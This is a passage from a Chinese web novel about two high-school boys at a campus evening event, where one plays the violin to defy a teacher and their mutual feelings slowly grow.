“你早上不是起不来的吗?”方笑贻问他,“今天怎么这么早,你有事吗?” “没事,”边煦说,“我只是在学校起不来。” 方笑贻:“学校怎么你了?” 边煦开玩笑:“学校9点以前的空气里有安眠药。” 方笑贻因为太离谱,笑着叫他去吃药了。 到了中午,方笑贻没看见谢恒在群里找他,边煦就客串客服,又给他打了回来。 “班长有发财的生意找你,你也不理吗?” 方笑贻立刻说:“哦好马上去,先挂……” “做个人,”边煦打断了他,“好不好?” 方笑贻就在对面笑。 那种愉悦的气音喷过来,令边煦心里也很轻快,他不想挂电话,就到处东拉西扯。 “又在忙啊?” “不忙,在当德华。” “洗尿布吗?” “滚。” “你竞赛教材收到了没有?” “收到了。” “便宜吗?” “便宜,不要钱。” “……你是被人骗了?还是你在骗我?” “……我在骗你吧,显得我智商比你高点。” 边煦乐了几声,又说唐悦下午想去寝室玩,叫他有空早点去,一起吃饭。 方笑贻迟疑了几秒,又同意了。 * 下午4点半,边煦带着唐悦,进了一中的大门。 昨晚吃饭,唐悦说要过来看美女。只是美女还没看上,他一来,先看上了谢恒在寝室2层的楼梯口,发给他的小纸片。 边煦和那个发纸的,明显认识。 因为那小个子一看见他,就瞪着眼睛指了下他:“边董,你居然背着我们开美颜?” 他就是有点浮夸的性格,边煦没理他。 谢恒却感觉他是个人气股,不想放过他:“你真的,考虑考虑,今晚上去给我唱一首,《小星星》也行啊。” 边煦叫他:“一边玩去。” 唐悦却没顾上他俩,只把纸片一扫,心里登时酸了:“你们一中,玩儿挺好啊。” 谢恒看他虽是个生面孔,但肯定是边煦的朋友,谦虚地笑道:“还好还好。” 边煦却说:“羡慕吧?” 而玩音乐,唐悦是真感兴趣:“羡慕。” 边煦就把自己手里的小纸片一竖,带着一种隐秘的炫耀说:“方笑贻想的。” 唐悦乍一听,感觉不太信:“真的假的?” 因为方笑贻看上去,像那种老老实实的做题家,成绩好但不会玩的。 边煦还没说话,谢恒就插嘴说:“真的。” 然后他给唐悦讲了讲来龙去脉,说完又把那个纸片一举,也有点嘚瑟:“讲真,这个偷感,是不是很带劲?” 的确,晚会没什么新鲜的,这种鬼鬼祟祟的感觉,才是点睛之笔。 “是,”唐悦有点遗憾,“我要是也在这儿就好了,我也来唱一首。” 谢恒越过校长就答应了:“来嘛,一中欢迎你。” 唐悦还得回去上自习,笑着摆了下手,跟着边煦上楼去了,边走边还在意犹未尽地装比:“不是我吹,我要是在,绝对是MVP。” 边煦把自己的纸片也给他了:“回六中组织,也能当。” 唐悦一想也行,一边把纸揣进兜里,一边问他:“不过我听你们班长那意思,你不参加吗?” “参加,”边煦说,“我当观众。” 唐悦觉得挺可惜的:一中的妹子,没有他们初中的有眼福。 边煦的琴,不能说拉得有多逆天的好,但叠上他的外貌条件,琴一架、光一打,那个氛围感是很牛的。 但自打他从训诫中心回来,就再也不肯拉了。 唐悦以前劝过,也没用,现在直接跳过,说:“那你室友呢?他有表演吗?” 他没有,边煦说:“他出手机,拍别人表演,给自己涨粉,算吗?” “笑死”,唐悦真的服了,“你们这儿长得可以的,没有一个能打的,校庆你们要被碾成渣渣。” 这不是边煦操心的事,他左耳进右耳出完,一抬头,从2楼这里,看见300的门已经开了。 门里有道人影晃过,从卫生间往卧室方向。 但他晃过去之后,又晃了回来,正后仰的、歪着头地往这边看。 边煦看见了,他在看自己。 只是那目光太坦荡了,只有打量、没有躲闪,干净得像是,一盆冷水。 * 边煦剪头了,修了个左三七分的碎发。 方笑贻盯着他的脸,虽不好昧着良心说:他从那个男的,变成了靓仔。 发型虽然重要,但他理发之前,大家其实也都知道,他是靓仔,他只是不想打扮。 但剪完头发,他的脸和五官确实明显凸显和锐化出来了,存在感强到方笑贻拿余光一瞥,都能看到他。 这下,他够资格当男神了。 可进了寝室,再到吃了饭,把唐悦送走,他又不知道有什么心事了,明显没有用手机联系的时候话多。 但唐悦好像没感觉到,乐呵呵的,说完一中这个晚会,又对方笑贻吐槽边煦。 “他事儿很多吧?” “洗澡也烦人得很。” “还不爱理人。” “唯一的优点,就是,嗯,不小气吧。他那些机器人,你就玩吧。” …… 然而方笑贻感觉上,唐悦好像吐槽的是另一个人。又或者说,是自己刚刚认识的边煦。 可他反驳:“没有,他事不多。不烦人,也没不理人。” 唐悦又不信,因为他没见过,自己兄弟粘人的样子。 边煦也只是看着他俩,尤其是方笑贻,但没插嘴。 方笑贻不知道他怎么了,心里在意,又不好问。一直等到唐悦上了出驻车,才转头问他:“你怎么了?下午是不是出什么事了?” 边煦面上摇头,看着他说:“没有。” 心里却先惊讶于他的敏感,继而很快又明白过来。 方笑贻不是敏感,而是自己这几天,对他太热络。所以一回归常态,他就感觉到了那种落差。 但这种落差,他在乎吗?或者说,他需要吗? 边煦之前,一触发“喜欢”,就美滋滋地膨胀开了,满心欢喜,有困难他也不想。 但他刚刚,终于真正且走心的,踢到了第一块感情的铁板:万一方笑贻……没办法喜欢男的,那自己这样,不是挖坑埋自己吗? 然而放弃,边煦压根也没想过,他不是碰到了难题就会放弃的思维。 这瞬间,他只是在想:不能再这样随心所欲了,自己需要一点经验和策略。 别人的“兄弟真香”的时候,都是怎么办的? 然后这一个晚自习,第一节课,班上还是搬开桌子,弄了个小晚会,因为有得玩,没人想上课。 边煦换了发型,回头率也确实不低。有女生还拿手机在偷拍他,但他心情不好,转头就趴桌上了。 可方笑贻跟他搭话:“陈文宣的街舞跳得还挺好的。” 他也回应:“嗯,应该学了挺多年的。” 但他没有那种“我也要听”、“我也要笑”的倒贴式的主动感了。 方笑贻有点不习惯,感觉跟他好像忽然又隔了层什么似的。 然后,这种不咸不淡地沟通方式,一直持续到了下自习。 铃声一响,大伙都猛虎出栏地怪叫着出去了,因为楼下有一场“在逃晚会”。 就他俩落在最后面,边煦压根没准备去,他的计划是回去洗了,上床上网、集思广益。 可他不去,方笑贻也没心思,他以为边煦遇到事了,在等一个安静的说话空间。 于是两人你等我、我等你,等到教室里空无一人了,才不约而同地转身开口。 方笑贻:“……你到底怎么了?” 边煦:“……你不去看晚会吗?” 第39章 这个问题,边煦现在回答不了。 他无法在这一刻挑破什么,因为挑破的前提,是有点什么。 可他俩之间,现在只有一个直男,和一个刚受过打击的自己。 他得多想一败涂地,才会在这种自信为负的时刻挑破?不可能。 所以边煦故作自然地撇开目光,随便找了个借口:“……没什么,在家挨骂了。” “别装了,”方笑贻心平气和,也是杠精,“你看着快气死了。” 边煦瞬间横他一眼,更来气了:还不都怪你。 “是气啊,”边煦含沙射影道,“我把谁都没办法。但气不死的,你玩去吧。” 说着边煦双腿发力,刚准备站起来,回寝室去了。 方笑贻却朝他这边一撑下巴:“你想把谁,怎么办嘛?” 边煦已经起来了一截,可接到他那个微微斜着扬过来的眼神,忽然又顿住了。 因为它看起来,有点温柔。 边煦目光忍不住一晃,但心里却更加恼羞成怒:他想办的人,还来给他出谋划策了,真是好一个直男轻轻一撩,害人! 于是边煦又坐回去,背靠着墙,盯着他说:“家务事,你也管?” “管不了,”方笑贻说,“只能吃瓜。” 吃到最后噎死你,边煦没好气道:“滚蛋。” “嗨,没瓜吃,”方笑贻说着,伸手往桌子里一掏,哗啦啦地抓出把东西来,“那吃点零食吧。” 边煦看他手指在自己桌上一松,落下一堆五颜六色来。 硬糖、软糖、麦丽素、牛肉干等。 边煦看了眼这堆东西,又去看他,脑中冒出一个假设:“你这是……在哄我吗?” “不是,”方笑贻边说,边扒了下零食,“我在哄我的眼睛。” 别人没看他,也说没哄他,但边煦心里那片失落的褶皱,忽然就被熨平了些许。 然后,他有点心情抖机灵了:“你这一晚上,没少偷看我吧?把眼睛伤成这样。” “想多了,”方笑贻挑到颗绿色的糖,腾出眼睛来看他了,“你根本不用看,I往这一坐,就蹭蹭地放毒气,我不高兴不高兴不高兴……你没看,你把刘丞丞都毒到讲台上去了。” 刘丞丞根本不用毒,而唐悦也没看出什么。 就他这啊那的,边煦顿了下,试探道:“我不高兴,你很在意吗?” 方笑贻确实是在意的,出于自然和本能。 可边煦这么一问,他却忽然愣了下,为对方那种问法、语气和眼神所综合出来的微妙和异样,而感到空白。 一瞬间,定住的目光、凝固的大脑,悸动的磁场推动着不开窍的,暧昧便寻缝觅隙的,钻进了空气里。 嗡嗡嗡—— 手机震起来的瞬间,两人才像被时间释放了,一人一边地撇开了眼帘。 边煦心里是一阵忐忑:自己是不是有点露骨?被他看出什么来了? 方笑贻却只有更迷糊:自己刚刚鬼迷心窍了一样,到底在看什么?他一时也说不清,只有印象很清晰:看太久了好像,有点、有点古怪—— 所以,这电话来得刚好。 方笑贻没事找事似的,丢下糖,就去摸手机了。 来电人是陈文宣,但说话的人却是谢恒,方笑贻接通开了免提。 对面闹哄哄的,谢恒的语气也很恼怒急迫:“老板、煦总,你俩人呢?!” 他俩…… 方笑贻看了边煦一眼,本来是想交换一个反省的眼神。可是这货正在旁边撕糖纸,撕还是自己刚刚拿的那颗青葡萄糖。 这个糖挺懂事,只剩一颗了。 边煦刚撕开,见他在看,迟疑了半秒,就托着糖纸,往他嘴边送去了。 可方笑贻哪有嘴来吃糖,赶紧把头一瞥,回了电话:“我俩还没到,咋了?” “诶呀服了,就你俩最能磨叽,”谢恒无语死了,“赶紧来,出事了!” 方笑贻目光一抬,登时跟边煦撞了一眼。 边煦本来没想去的,可眼下忽然就改了主意,偏头对手机说了句:“马上来,挂了,有事发语音。” 说完右手戳了挂断,挂完抬起头,同时左手继续往前,把那颗糖抵到了方笑贻的下唇中间。 “来,”边煦视线从他唇上擦过,一边观察,一边又回避,“吃了就走。” 方笑贻唇面被轻轻一碰,下一瞬,糖的香氛熏进鼻腔,浓得他简直不敢张嘴。 吃也奇怪,不吃好像更奇怪。 反正就是,不自在。 但方笑贻最后还是吃了,一边起身,把头放平,再伸手在边煦手背上一托。这样就不用脸对脸了。 然后,为了挥散那种扭捏,方笑贻含住糖后,立刻把它推到了右边,说:“你自己吃不行吗?这个是这一把里最好吃的。” 边煦心知肚明,他一开始就是准备自己吃的,这会就是马后炮。 但他看方笑贻站起来,右腮那里鼓个小包,没他正常的时候标致,但有一点点陌生的可爱,就看了眼包装纸,是个棒子产的青葡萄糖,又把它和进零食堆里,一把揣进了桌子里。 “好吃你就多吃点,”边煦站起来说,“走吧,班长要冒烟了。” 谢恒确实在冒烟,在发给方笑贻的语音条里面。 [文][13s]:我去他某个阴暗生物的大爷!居然把我们举报了沃日!太贱了无敌了,我要知道是谁,我要套麻袋打他! [文][9s]:我手机、我弄的麦和小音箱,还有别的装备,全被政教处的老师收走了 [文][6s]:现在还有老师在文化石那块守着,有人过去就赶,没得搞了,我心态崩了 方笑贻也是没想到,这种一次性、闹着玩的活动,也会有人举报。 而谢恒越发越沮丧,他对这活动投入了不少激情,失望起来也强烈。 夏夜的晚风有点闷热,两人狂奔过教学楼前面的空地。 方笑贻叫谢恒去跟老师沟通看看:被举报的原因和老师没收装备的理由。 收了手机,又跟边煦在路上呼哧带喘地拌嘴。 “卷王,想办法。” “你是班长钦点的救命稻草,你上。” “你丫就会叫别人上。” “……” 边煦确实是这样,因为他原先对这种在学校里花式装比的事情,没什么兴趣。 学校里没有他在乎的人,多刷点卷子考几分,那个彩虹屁,他压根用不完。 但是现在,他有了。方笑贻对他无动于衷,边煦心里就很在乎。 可他专门都去剪头了,还剪了个挺贵的,方笑贻压根没有反应。 是因为自己不够帅?边煦心想:不温柔体贴?没有人格魅力?还得专门耍一耍吗? 于是又跑了七、八步,方笑贻听见他忽然喊了一声。 “方笑贻。” “嗯?”方笑贻扭头看了下他。 “要是这个晚会搞不成了,”边煦也转过头来看他,“你会不会觉得失望?” 方笑贻咽了口糖水,说实话:“还好吧,我应该没啥感觉。” 边煦说:“可它不是你策划的吗?” “我策划啥啊,”方笑贻笑了下,“我就是那么一说,什么都是谢恒他们弄的,跟我其实没什么关系。” 他没有表演,也没有想去看的人。 青春璀璨盛大,但他的心,有点少年老成。 * 边煦本来想说:怎么会没关系呢? 那天晚上,他俩私下讨论的时候,他不是发了很多个“笑死”、“哈哈哈”的表情包吗?然后自己,也在等他涨完粉后,开心的样子。 可一转眼,又看到路灯光里,他飞扬的发丝下面,隽秀的侧脸上都是阴影。 有五官本身的、树叶的,大概还有别的东西的。 那个画面,忽然就让边煦感觉到了心酸:命运不心疼这个人,但是他会—— 于是方笑贻跑着跑着,忽然被他拉到了校道中间。 他还以为边煦要干什么,结果等了会儿,什么也没有,方笑贻就懵了下:“……那个请问,我们专门从路边上跑到路中间的目的,是什么?” 目的是在这里,他脸上会变亮。 但边煦说:“还是跑。” 方笑贻心想,他可能是个什么天才,天才就是古怪的,但嘴上又没忍住:“……你好像有点那个大病。” 边煦笑了一声,在心里骂他:不知好歹。 3分钟后,两人跑到文化石广场前面。 这里沿着路边,聚来的人居然不少,他们沿着文化石围了个“冂”字形的边,有空手的、拿荧光棒的,还有带乐器的,正密切地窃窃私语。 而在包围圈里,谢恒的叫嚷也隐约可闻。 “……请问!什么叫是我们不听话?明明是你叫保卫拉扯我同学,他才会受伤的!” 受伤?谁受伤了? 方笑贻眼皮一跳,立刻扒开人群,钻了进去。 下一刻,就见谢恒斜对面那个穿得局里局气的男老师,不知道说了句什么,谢恒那几个瞬间集体躁动了。包括一贯面瘫的陈尧,脸都黑得厉害。 怎么搞的? 方笑贻跟边煦对视一眼,抓紧跑了过去。 这边,谢恒这下是真的在冒烟了,又气又急又后悔。 马嘉楠都受伤了,这个政教处的老师居然还说:都是他们自己作的。 艹!真的是头一回在一中碰见,这么没有师德的老师。 谢恒真想破口大骂,又惦记马嘉楠,一瞬间眼睛都恨不得分看两边,好在方笑贻跟边煦冒了出来。 他俩不太管闲事,但有种扛事的气质在。谢恒瞬间有了取舍,先对他俩招了手:“快来!” 可方笑贻跟边煦过来了没多远,一个保卫又迎过来,对他俩做了个驱赶的动作:“闲杂人等别再围过来了哈,散了散了,回寝室去。” 方笑贻也懒得跟他解释,只隔着他喊道:“小马,你怎么样了?要不要报警,打120?” 保卫一愣,才露出为难的表情,他后面的人堆里,就回过来一张脸,是个男中年,发际线高,有副八字眉。 他一边打量,又严肃地说:“年轻人不要这么小题大做,要想好了,这一波可都是要挨处分记过的。” 方笑贻听得一愣:什么鬼? 边煦却已经过去了,他不怕处分,也没干什么。最后,这种擅长用恐吓话术的老师,是他最讨厌的类型。 很快,两人汇到同学堆里,先去马嘉楠那儿看了一眼。 他左手虎口被琴弦割了下,出了点血,但还好,不是很深。 边煦说:“叫陈尧陪你去药店洗吧。” 马嘉楠也不去,他要留在这儿看热闹,还嘀咕道:“这是我们被学校伤害的证据,事情没定之前,不能洗。” 方笑贻觉得是有道理的,又去找谢恒套情况:“怎么搞的,就挨上处分了?” 边煦就在旁边听。 “挨屁,”谢恒剜了那个“八字眉”一眼,“你听他瞎扯。” 那老师接收到敌意,也立刻说:“你看什么看?” 方笑贻看谢恒这样,也不像是在罚站,一问才知道,实际也不是,他们只是在这儿对峙,因为这老师实在不讲道理。 “我问他,谁举报的?凭什么举报?”谢恒忿忿道,“他是什么也不说啊!就一句:怎么,你打听得这么明白,是想去报复别人吗?然后还训我们。” 说着他虎起嗓子,学了个盛气凌人的腔调:“你们来学校的使命,就是学习!谁允许你们把社会上这种又唱又跳的轻浮风气,带到学校里来的?啊?不知所谓、搞七搞八,怪不得你们考不上六中!” “我是真的不服!”谢恒说,“不行可以,给点不行的理由啊?但是没有。就是一个霸道,学校说不行就是不行!不要脸,他能代表什么学校?高总都没说什么。就他丫的,都不知道是谁?就拿着鸡毛当令箭,搞得比校长还独裁,我就跟他干起来了。” 后面,方笑贻也知道了。 他叫马嘉楠就是弹,当歌声响起来,自然就胜利了,结果保安来抢吉他,拉扯两下,就伤到了。而现在群情激奋,杠不赢这老师,都不肯走了。 然而沟通,方笑贻去试了下,说:“老师,请问我们活动一下,到底会造成什么不良的影响?” 那老师一副被形式主义腌透的气息:“你也别问我这么多,这都是学校的安排,学校怎么安排,我就怎么做。” 方笑贻又问他:是学校的哪个领导安排的? 他又一句:“怎么?你还想去领导兴师问罪啊?” 方笑贻顿时看出来了,目前跟学校关系不大,只是这个老师在耍官威而已。所以他放弃跟这个老师说话了,摸出手机,刚准备去搜学校官方的座机,找个别的老师来沟通。 边煦就忽然走开了。 然后方笑贻看到他走到广场边上,问一个女生借了把小提琴,接着也没走回来,站在那边把琴往脖子上一架,试了一串音。 路边立刻哗然了,因为他叛逆,也是一个靓仔。 广场这边,保卫却接到指挥,立刻过去阻拦他了。方笑贻这边立刻也跟着跑起来,像是防僵尸部队的豌豆射手。 只是下一瞬,琴声响起,方笑贻瞬间被他笑飞了。 因为边煦拉的,是一首中国人都不能打断的歌。 谢恒哈哈哈地唱了起来:“起来!不愿做……” “……奴隶的人们,把我们的血肉……” 这是方笑贻第一次看见边煦拉琴,对方站在一个没有舞台可言的地方,路灯也是惨淡的。 但当他朝这边走过来,并停在跟前的时候,那个眼神有点深,又带着一点笑意。 方笑贻根本挪不开视线,只恍惚感受到了某种细细密密的触碰。 第40章 那个晚会,最终还是继续下去了。 两人猫在校史馆门柱背面口吃关东煮的时候,隐约还能听见那边在唱《红日》。 “一生之中弯弯曲曲我也要走过……” 用的还是粤语,唱得还挺好听,就像边煦拉的琴。 他本身就是个优等生,今夜轻轻一炫,光环瞬间加身,去还琴的时候,居然还有人想合影,还不止一个。 校史馆门口的顶棚上,有个“天圆”的镂空,透过那里,夜幕里的月亮已经很圆了。 方笑贻收回视线,低头咬了口海带结说:“男明星,还回不回去看了?” 可“男明星”就是不耐烦了,才拉着他跑到这里来的,闻言淡淡地把他一瞥:“调戏我,很好玩是吧?” 方笑贻乐了一声:“没有啊,这是实事求是。” “谁的‘实事求是’?”边煦痴心妄想道,“你的吗?” 方笑贻说:“不是我,是刘丞丞的,他说你是superstar。” “star个屁。”边煦立刻没兴趣了,他想迷死的只是一个人而已。 可“一个人”被迷到了吗? 他当时是愣了下的,边煦看见了,可等到对视,他又正常了,好像那愣怔是一场幻觉。 不过,边煦也不是毫无收获,在他走向方笑贻的时候,他脑中忽然冒出了一首歌。一首令他决定放弃练琴,但又感觉,很适合方笑贻的歌。 这时,方笑贻又说:“star还不好啊?我想当star,还da不上呢。” 边煦看了眼他的脸:“你要是想da又不难,你去学个吉他,等元旦晚会的时候,弹个、《背对背拥抱》这种程度的,你也就是star了。” 方笑贻:“我可算了吧,也就是吹牛的时候我才会想当star,真叫我去练,我就不想了。” “为什么?” “因为说是不难,实际一上,我晕问题成山,我估计是没有那个闲心的。” 自己不想,那真是没办法了。 边煦说:“你怎么这么不好骗?都像你这样,人琴行怎么办?” “去骗别人啊,”方笑贻看了他一眼,“像你这样的。” “我什么样?”边煦问他。 方笑贻说:“男明星样。” 又来了。边煦无语,干脆顺着他说:“男明星什么样?很帅吧?” 夸方笑贻还是舍得的:“帅。” 边煦嘴角情不自禁地往上一翘,臭屁道:“迷死你了吧?一直说。 ” 方笑贻闻言微微一怔:自己说了很多吗? 但他瞎扯没走心,此刻要数,也拿不准了。而且边煦还在旁边等他,那个眉眼细微地眯起来,端是越看越意味深长了。 方笑贻心理上紧迫,也没空想了,张嘴就说:“没迷死,还差点火候。” 边煦闻言,也挺淡定:“正常,我快2年没碰琴了。” 那琴也是别人的,不熟,他说:“音准都没找到,音也拉错了好几个,迷不死你,确实是我的问题。” 可方笑贻压根没听出来,他愕然地看了边煦两秒,才带着一种惋惜和不解说:“干嘛不碰啊?我觉得你拉得很好啊,很专业。” 就他今天这个表现,够于静涵骂他半个小时的。但方笑贻一脸真诚的样子,可能是因为他没有要求。 边煦温和地看着他说:“你懂啊?” “懂屁啊,”方笑贻说,“但劳动人民就不能有朴素的欣赏水平吗?” “能,有。”边煦笑了下,不能把全劳动人民都得罪光了。 “然后呢,”方笑贻问他,“为什么2年不练琴?跟老杨有关吗?” “有一点,但关系不大,主要是觉得,”边煦头背都靠在柱子上,只有脸侧了过来,“累。” 方笑贻看着眼前的他,这一瞬脑中想起的,却是曾经在老杨“家”那个天台上的自己。 人们会用前半生,在人海里寻找相似的人。 而有些地方,他跟边煦挺相似的。 他生于底层,受了些劳累。边煦生于精英阶层,被过度培养。结果都是一个累得够呛,实在有点讽刺。 方笑贻哭笑不得,伸出右手搭住他的左手背,用力捏了两下,但没有任何别的意思,只是传递一点安慰。 “我懂,”方笑贻说,“那你不练,我觉得是对的。” 边煦看了眼他握自己的手,已经松开了,很想也翻过来,把他的也握住。 但是那样太暧昧了,边煦就只蜷了下指尖,去看他的眼睛:“为什么?” 方笑贻说:“因为再练,搞不好心就累死了。” 对,人的大脑会欺骗自己,不累、加油、还可以。但正常的心脏累到绞痛时,是真的会死。 边煦心里有点悲哀:“你这么懂,是不是也快累死过?” 方笑贻又嬉皮笑脸的了:“啊,我天天都快累死。” 可人说沉重的事,也需要沉重的气氛,他这样,边煦瞟了他一眼:“不想跟你说了。” 但方笑贻还是想听他的过去,妥协道:“好吧好吧,有一回是。” 然而事过去后,它变小了,方笑贻提起它来,居然有点像在说别人的事了。 “那会儿,”他说,“我们一家刚搬到四海不久。我还没摸清本地的门道,头一次去香格里拉酒店做兼职,被黑中介从早耍到晚,说是累的,其实有50%是气的。” 边煦想听细节:“黑中介怎么耍的你?” “其实也没什么可说的,一样的套路,现在也用。就是扣钱,承诺你20块钱一个小时,结账的时候挑刺,扣成15、 16的。还有什么,说是包车送你回去,实际上路了,按人头收钱,不收就把你丢在路上。” 有些地方旅游,也是这个套路,边煦说:“是很偏僻的地方吗?” 方笑贻摇了下头:“不算特别偏僻,就是外环,只是半夜里,没有公交和地铁,得打车才回得去。谁舍得啊?一打四五十。” 那一天,承诺的是180,路上跑加干活,接近12个小时,他被扣完车费之后,到家只剩87块。而社会就是这样剥削,最底下那一层的血汗的。所以,他不能留在最底下。 边煦心里有点痛。 他舍得,他有很多个50,但它对方笑贻没有用,因为错过那个夜晚,苦头人家吃完了。 而说什么好像都没用,边煦便也接力似的,伸手过去把他的手背捏了捏。 方笑贻心里其实没所谓,四海这些经历,只是一点困难的添头罢了。 但边煦握他的手,他……也没动。 边煦因为那个荨麻疹,皮肤的温度比他要凉一点。 此刻,那种微凉覆手背上,可方笑贻心里却不是冷静,也不是舒适,它只是很在意,一直在感受那种凉意。 为什么还没有离开? 但鬼使神差的,他也没挣,只是为了转移注意力而说话地说:“我的惨卖完了,该你了。你当年搞了什么魔鬼训练,把自己累成那样?” 他没反应,边煦心说:那就再握2秒。 与此同时,嘴上答道:“也没什么魔鬼训练,就是学了什么就一直保持着,学得越久,放弃起来就越可惜。然后那时候,人还很傻,也不知道自己累了,就是越来越烦躁。” “看见字帖也烦,看见琴也烦,看见作业、老师什么都烦,我就逃课,逃了1个月,被人捉进训诫中心拿电一打,脑子里才忽然冒出个字:累。后面回去,左手就很容易痉挛,也不是故意不拉,是拉不了两下,它就开始抽了,我就不想拉。” 方笑贻心里也有点绷紧,但他思维比较向前,立刻去看边煦的左手。 可它还在自己的手背上,是个亲密到有点绵长的形状。 方笑贻心口一跳,某种感想在意识里呼之欲出,但又陌生到呼不出来,只好被理智淹没了,又去看他,目光往下一晃,说:“那它现在还抽吗?” 其实不抽,一切正常。 可万一方笑贻问他,为什么抓着不放,边煦又解释不通,于是他只好居心叵测地说:“……还有点。” 方笑贻顿时就想:他是不是被电打出什么ptsd了? 但心里又还是挺乐观的,实话实说:“但是‘有点’,也比‘拉不了两下就抽’强太多了,就这样吧,知足感恩、心平气和,来,吃夹心鱼饼。” 就是抽筋,老搁他手上也不对劲,他手又不是个输液包。 方笑贻赶紧把那个鱼饼,塞到了他的左手里。 边煦被他塞了根竹签,哭笑不得:“你自己都不肯喝的鸡汤,灌别人倒是挺顺手的。” 方笑贻沉默不语。 中国人民现在是没那么好糊弄了,以前灌点鸡汤就能消停,现在一个两个,谁也不喝。 难搞。 他只好说:“那要不,我给你50块钱?” 边煦服了他:“你的50块,比央行印的能多点什么特效吗?” 方笑贻“噗”的笑了一声:“多点贬值的特效,您看怎么样?” 边煦说:“我看很不好。” 方笑贻刚想说:不要拉倒,立省50块。 边煦又说:“你给我50分钟好了。” 40-50 第41章 50分钟可以干的事情,可太说不好了。 方笑贻眼皮一佯,警惕道:“你要我的50分钟,干嘛?” “不知道,”边煦也是灵机一动,“我还没想好。” “那不行。” 这和空白支票,有什么区别? “像这样扯闲屁可以,但万一,”方笑贻深谋远虑,“你叫我给你洗满50分钟的内裤袜子,那我不是傻了?” 边煦:“……” 他压根没往这儿想,但这家伙给他整得心里一麻,他深深地看了方笑贻一眼,转瞬又收起了那种用力,无语地笑了起来。 “我不会叫你给我洗内裤的,不给你钱,谁敢哪。” 方笑贻张嘴就说:“给钱我也不……不,给的够多,也不是不行。” 别人是冷脸洗内裤,到他这儿,成了收费洗。 边煦真的是醉了,但他的思路又很清奇,也好笑:“不给,不用。就扯闲屁,像这样,就行了。” “你还挺节约。”方笑贻也笑了下,又拿起手机一看,“那就扯吧,现在是10点01,扯到51。” 但边煦拿手一撑地面,坐起来说:“今天不扯了,扯够了,我留着吧,以后用。” “随你吧。”方笑贻看他起来了,两腿先后一曲,也准备爬起来。 边煦却朝他把右手掌一伸,方笑贻也省得爬,右手一搭上去,被人握住拉了起来。 下一刻,一阵突兀的虫鸣鸟叫声忽然响起,然后就是一段旋律。 两人蓦然对视一眼,都听出来了,是《稻香》。 十几年过去了,高中生依然还是会唱《稻香》。 只是,这次的伴奏声音明显变大了。 方笑贻眉梢一扬,脸上露出疑惑:“哪儿来的麦?有情况,走,去看看。” 说着好奇地跑下了校史馆。 校史馆门厅抬高了一层,台阶被分成了三截,中间摆花,两边走路。 边煦辍在后面,看他冲下楼梯,校服兜了风,朝后鼓出来,他腿长步子大,一腾空在飞似的,别有一种轻盈挺拔。 好看。 边煦看上他了,看他走路,都是好看的,顿时站在台阶顶上,摸出手机拍了张背影。 等下了台阶,视线越过校史馆边墙,两人立刻都看见了,那个晚会“升级”了。 只见文化石的彩灯被打亮了,而彩色的荧光棒挥舞在半空,还有那种放开的氛围和嗓门,分明都昭示着,校方公然支持的态度。 那一瞬间,方笑贻居然有点感动。 冲着这种自由度,两人又去广场溜了一趟。然后一过来,就被在路边叉着腰抽烟的高蓬跟教务主任逮住了。 “你们两个罪魁祸首,”高蓬把烟夹在手里,没舍得熄,也没抽了,说,“不在这里运筹帷幄,跑哪儿去了?” 边煦在外面,话还是不多。 他不吭声,方笑贻就接过话说:“他是罪魁祸首,我不是。” 边煦背了个大锅,也无所谓。因为高蓬根本不是个训话的样子,开玩笑罢了。 下一秒,高蓬果然没绷住,笑了:“你还不是?你是最坏的。” 开班会那天,他就在打折,今晚这满场的荧光棒,总不能是自己冒出来的。高蓬还没问,但料想跟他脱不了干系。 坏就坏吧,方笑贻抿了下嘴角,浅浅笑道:“但是很燃吧?” “燃,”高蓬咧着嘴角说,“燃得你班主任我明天写检讨。” 方笑贻:“……” 但高蓬这样的,看不出情绪,方笑贻一时没分辨出来,他这说的是真是假。 主任却忽然笑出声道:“什么检讨?我可没叫你写哈。” 高蓬看向他,有点欲言又止。 主任却不给他说话的机会,又说方笑贻和边煦:“不过你们也是,一个个的,在学校里做贼。” 他俩都不吭声。 这姿态还可以,挺乖,主任又满意了,口风松了下:“不过我们年轻的时候,也不比你们差的,我们那会儿跳霹雳舞,诶不是吹,我跳得也还可以。” “你跳吗主任?”高蓬插嘴,“我可以叫我们班长,临时给你安插一个特别节目。” “不跳不跳,”主任摆着手吹牛比,“我一上场,你们全都黯然失色了。” 方笑贻倒没觉得无语,只觉得他还挺幽默。 幽默的主任又说:“不过边煦今天很出风头哈,我们有两个女老师,还在群里转你的视频呢。怎么样?六中的校庆,你准不准备排个节目?” 边煦没准备,用手伤和下个月的信息比赛推过去了。 方笑贻这才听说,他下个月有比赛。于是被放走后,一边在看热闹的外围游荡,一边问他:“什么比赛?” 边煦说:“下个月,1024程序员节,省办了一个高中组的编程比赛。” “比啥呢?” “现在还不知道。” “在哪比。” “科技馆。” 方笑贻还没去过科技馆,又问他,能参观吗?比赢了有什么用……一路瞎聊着回寝室去了。 按惯例,还是方笑贻先洗,今天他俩回来都晚,他洗到一半灯就熄了。 边煦还在外头问了一声:“要不要灯?” 要什么灯?他光着在。 方笑贻抹黑洗完出来,躺下看了眼手机,谭威给他发了消息。 [谭谭不交通]:你班这哥们,是真不给人活路啊 [谭谭不交通]:[视频.avi] [谭谭不交通]:不过幸好,我们班也有女神 [谭谭不交通]:[视频.avi] 方笑贻点开第一个,看见里头录是边煦。 镜头拍于他试完音后、开始之前,那会他还在路边,才把琴弓拿起来,手指捻着弓把往弦上搭的时候,有个移位和揉晃的手势。 方笑贻当时离远了,没注意到这个细节。此刻却莫名沉迷住了,把进度条拉回来,看了5、6遍,然后还按住视频,点了保存。 但要说他是手控,这个也不准。 方笑贻自己的手长得也行,之前也特别没留意别人的手,但边煦那个手势,显得手指异常灵活,像是某种精密仪器,有种流畅优美感。 边煦洗完出来的时候,方笑贻已经放下手机,在装睡了。 但边煦爬上床后,还是玩了会儿,因为他也有消息。 [Rock唐]:[视频.avi] [Rock唐]:你不对劲! [Rock唐]:你5点说不拉,结果10点拉到开花 [Rock唐]:说!你在炫啥? 边煦给了他一锤子,唐悦大概睡了,没回。边煦又跑去上了会儿网,看了一堆让他满头问号的东西。 [老芽]:觉得自己兄弟好香,怎么办? [烧鸭同志]:凑上去闻 [天不遂]:跟他说,处吗 [哦]:[别说话,做.就完了.jpg] [^^]:求,让crush莫名心动的办法! [顶级绿茶]:告白是菜鸡做的事,猎人请直接用勾引。勾引的第一步,是抛弃人性…… [玩去][视频静音]:在学校遇到喜欢的人,就这样耍帅 结果边煦看了,那个博主就穿着校服、背个书包,在停车场里拨了下头发、又伸手擦了下鼻尖。然后,他就从镜头里走出去了。 边煦:……………… 